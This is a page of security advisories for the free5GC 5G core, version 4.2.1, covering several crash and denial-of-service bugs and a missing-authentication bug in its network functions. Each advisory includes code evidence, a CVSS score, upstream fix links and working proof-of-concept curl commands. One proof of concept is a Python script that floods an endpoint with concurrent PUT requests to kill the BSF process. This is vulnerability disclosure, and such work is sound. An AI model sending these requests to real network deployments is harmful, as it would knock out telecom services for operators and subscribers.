Details Validated against the PCF container in the official Docker compose lab. - Source repo tag: v4.2.1 - PCF endpoint: http://10.100.200.9:8000 - Validation date: 2026-03-12

Vulnerable handler path: postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus)

In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.

Code evidence (paths in free5gc/pcf): - Affected route + dispatch: NFs/pcf/internal/sbi/apipolicyauthorization.go - Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of routeReq. fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740

PoC Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

1. Obtain a valid npcf-policyauthorization token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization'

2. Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 500 Internal Server Error

3. Control comparison -- same request shape but suppFeat="0" -> normal 201 Created: curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <validnpcfpolicyauthorizationjwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' HTTP/1.1 201 Created

4. PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0: [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(Server).HTTPPostAppSessions .../apipolicyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions |

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents..AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.

Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Race Condition
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.

This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.

Details Validated against the BSF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/bsf:v4.2.1 - Docker validation date: 2026-03-22 - BSF endpoint: http://10.100.200.11:8000

Read side (locked): go func (c BSFContext) GetSubscription(subId string) (BsfSubscription, bool) { c.mutex.RLock() defer c.mutex.RUnlock()

sub, exists := c.Subscriptions[subId] return sub, exists }

Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()): go subscription.SubId = subId bsfContext.BsfSelf.Subscriptions[subId] = subscription

Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.

Code evidence (paths in free5gc/bsf): - Read side (locked): - NFs/bsf/internal/sbi/processor/subscriptions.go:81 - NFs/bsf/internal/context/context.go:726 - NFs/bsf/internal/context/context.go:730 - Unsafe write side (the create-if-absent branch in PUT, no lock): - NFs/bsf/internal/sbi/processor/subscriptions.go:111 - NFs/bsf/internal/sbi/processor/subscriptions.go:114

The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.

PoC Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.

1. Obtain a valid nbsf-management token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'

2. Send concurrent PUT requests against fresh subId values (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs): python import json, threading, urllib.request

TOKEN = "<validnbsfmanagementjwt>" BASE = "http://10.100.200.11:8000/nbsf-management/v1" PAYLOAD = json.dumps({ "events": ["PCFBINDINGCREATION"], "notifUri": "http://127.0.0.1/cb", "notifCorreId": "1", "supi": "imsi-208930000000003", }).encode()

def sendput(i, n): url = f"{BASE}/subscriptions/race-mix-{i}-{n}" req = urllib.request.Request(url, data=PAYLOAD, method="PUT") req.addheader("Authorization", f"Bearer {TOKEN}") req.addheader("Content-Type", "application/json") urllib.request.urlopen(req, timeout=2).read()

threads = [] for i in range(64): for n in range(50): threads.append(threading.Thread(target=sendput, args=(i, n))) for t in threads: t.start() for t in threads: t.join()

3. BSF container logs (docker logs bsf) show the Go runtime fatal that terminated the process: [INFO][BSF][Proc] Handle ReplaceIndividualSubcription fatal error: concurrent map read and map write github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300) github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f

4. Container state confirms exit code 2: exited|2|0

Impact Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.

Any party that holds (or can obtain) a valid nbsf-management token can: - Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh subId values, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage.

No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Summary free5GC's NEF mounts the nnef-callback route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid NotifId, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime ServiceList does not declare it (it lists only nnef-pfdmanagement and nnef-oam).

Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: free5gc/nef:v4.2.1 - Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, yet the nnef-callback route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by NotifId.

Code evidence (paths in free5gc/nef): - Callback route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:64 - Callback route exposed at /notification/smf: NFs/nef/internal/sbi/apicallback.go:13 - API layer reads raw request bytes and deserializes them before any auth check: NFs/nef/internal/sbi/apicallback.go:23 - Processor looks up the subscription by NotifId: NFs/nef/internal/sbi/processor/callback.go:13 - NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nefcontext.go:153 - Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC Reproduced against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

Send a forged callback request: curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf

Observed output: HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"}

The 404 is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (docker logs nef) confirm the callback handler was reached: [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf

Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF nnef-callback SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen NotifId happened to be invalid.

Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid NotifId can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group.

The nnef-callback route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's SMF mounts the UPI management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The POST /upi/v1/upNodesLinks create-or-update handler accepts attacker-controlled JSON and passes it directly into UpNodesFromConfiguration(), which calls logger.InitLog.Fatalf(...) on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (docker ps shows Exited (1)), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls Fatalf which is os.Exit(1)-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted.

Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/smf:v4.2.1 - Runtime SMF commit: 8385c00a - Docker validation date: 2026-03-22 local (container log timestamp 2026-03-21T23:47:07Z) - SMF endpoint: http://10.100.200.6:8000

The broader UPI auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there:

Vulnerable handler dispatches into topology parsing: POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs")

Code evidence (paths in free5gc/smf): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - NFs/smf/internal/sbi/server.go:76 - NFs/smf/internal/sbi/server.go:78 - Create-or-update handler accepts attacker JSON and forwards it to UpNodesFromConfiguration(): - NFs/smf/internal/sbi/apiupi.go:60 - NFs/smf/internal/sbi/apiupi.go:72 - Pool parsing (input from attacker JSON): - NFs/smf/internal/context/userplaneinformation.go:413 - Overlap check that calls Fatalf: - NFs/smf/internal/context/userplaneinformation.go:479

The same unauthenticated POST path also reaches sibling Fatalf calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable Fatalf call sites on a single unauthenticated handler: - NFs/smf/internal/context/userplaneinformation.go:416 - NFs/smf/internal/context/userplaneinformation.go:424 - NFs/smf/internal/context/userplaneinformation.go:430

PoC Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.

1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (10.60.0.0/16): curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}'

Client-side observation (server died mid-request, no HTTP response written): curl: (52) Empty reply from server

2. Confirm the SMF container exited: docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' smf Exited (1) 9 seconds ago

3. SMF container logs (docker logs --tail 80 smf) show the FATA line that terminated the process: [FATA][SMF][Init] overlap cidr value between UPFs

Impact Unauthenticated process-kill DoS on the SMF management plane.

1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the UPI route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance nsmf-oam returning 401 (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls logger.InitLog.Fatalf(...) on attacker-influenced validation failures. Fatalf is os.Exit(1)-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level.

Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling Fatalf paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using Fatalf for request-time validation on an unauthenticated handler.

No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's NEF terminates the entire process when a stored PFD-subscription notifyUri cannot be reached. In PfdChangeNotifier.FlushNotifications(), the notifier calls NnefPFDmanagementNotify(...) and on any delivery error invokes logger.PFDManageLog.Fatal(err), which is os.Exit(1)-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen notifyUri and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status 1, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch Fatal).

The trigger uses three POSTs that are reachable without an Authorization header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the Fatal-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-20 (container log timestamp 2026-03-20T16:00:03Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable notifier path: go , err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent }

The failing branch is reached whenever NEF's outbound POST to the subscriber's notifyUri returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns 201 Created and only then does NEF die.

Code evidence (paths in free5gc/nef): - Notifier dispatch: - NFs/nef/internal/sbi/notifier/pfdnotifier.go:135 - Fatal call site (process exit): - NFs/nef/internal/sbi/notifier/pfdnotifier.go:142

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit.

1. Create an AF context (no Authorization header): curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1

2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1

3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' The PFD POST itself returns 201, but immediately afterward NEF exits.

4. Confirm the NEF container is dead (exited, exit=1): docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' status=exited restart=0 exit=1

5. NEF container logs (docker logs --since 2026-03-20T16:00:03Z nef) show the [FATA] line that terminated the process: [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused

Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied notifyUri. logger.Fatal is os.Exit(1)-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates.

In v4.2.1, the trigger chain is reachable without an Authorization header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable notifyUri (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same Fatal, so partial fixes that block one URI do not close the family.

No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Null Pointer Dereference
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.

This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.

The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.

Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/nef:v4.2.1 - Runtime NEF commit: 5ce35eab - Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z) - NEF endpoint: http://10.100.200.19:8000

Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased): go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)

switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.INPBDETAILSCTXSTR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.

Code evidence (paths in free5gc/nef): - Patch handler core path: - NFs/nef/internal/sbi/processor/pfd.go:563 - NFs/nef/internal/sbi/processor/pfd.go:610 - Panic site (nil-deref on problemDetails.Cause): - NFs/nef/internal/sbi/processor/pfd.go:622 - Route exposure / dispatch: - NFs/nef/internal/sbi/apipfd.go:168 - NFs/nef/internal/sbi/apipfd.go:188

PoC Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.

1. Create an AF context (no Authorization header): curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}'

2. Create a PFD-management transaction: curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'

3. Make UDR access fail (lab simulation): docker stop nrf

4. Trigger the panic with one PATCH: curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' HTTP/1.1 500 Internal Server Error Content-Length: 0

5. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement: [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(Server).apiPatchIndividualApplicationPFDManagement .../apipfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 |

6. Restore for further testing: docker start nrf

Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the errPfdData != nil branch reads problemDetails.Cause even though problemDetails is nil by construction in that branch (the prior case already matched the non-nil case). The intended target was the locally constructed problemDetailsErr.Cause.

Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns 500 (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Incorrect Type Cast
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USERNOTFOUND problem-details on the miss path, but execution continues and immediately runs value.(udrcontext.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface): go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) In the processor: go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USERNOTFOUND") }

UESubsData := value.(udrcontext.UESubsData) // panics: nil interface When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(udrcontext.UESubsData) panics with: panic: interface conversion: interface {} is nil, not context.UESubsData

Code evidence (paths in free5gc/udr): - Route exposure + handler dispatch: - NFs/udr/internal/sbi/apidatarepository.go:2161 - NFs/udr/internal/sbi/apidatarepository.go:2170 - NFs/udr/internal/sbi/apidatarepository.go:2172 - Panic root cause (nil interface type assertion): - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:53 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:56 - NFs/udr/internal/sbi/processor/eventamfsubscriptioninfodocument.go:61

PoC Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.

1. Restart UDR (clean state -- proves no precondition is needed): docker restart udr

2. Obtain a valid nudr-dr token from NRF: curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'granttype=clientcredentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'

3. Trigger the panic with one DELETE for a nonexistent ueId=x: curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <validnudrdrjwt>' HTTP/1.1 500 Internal Server Error Content-Length: 0

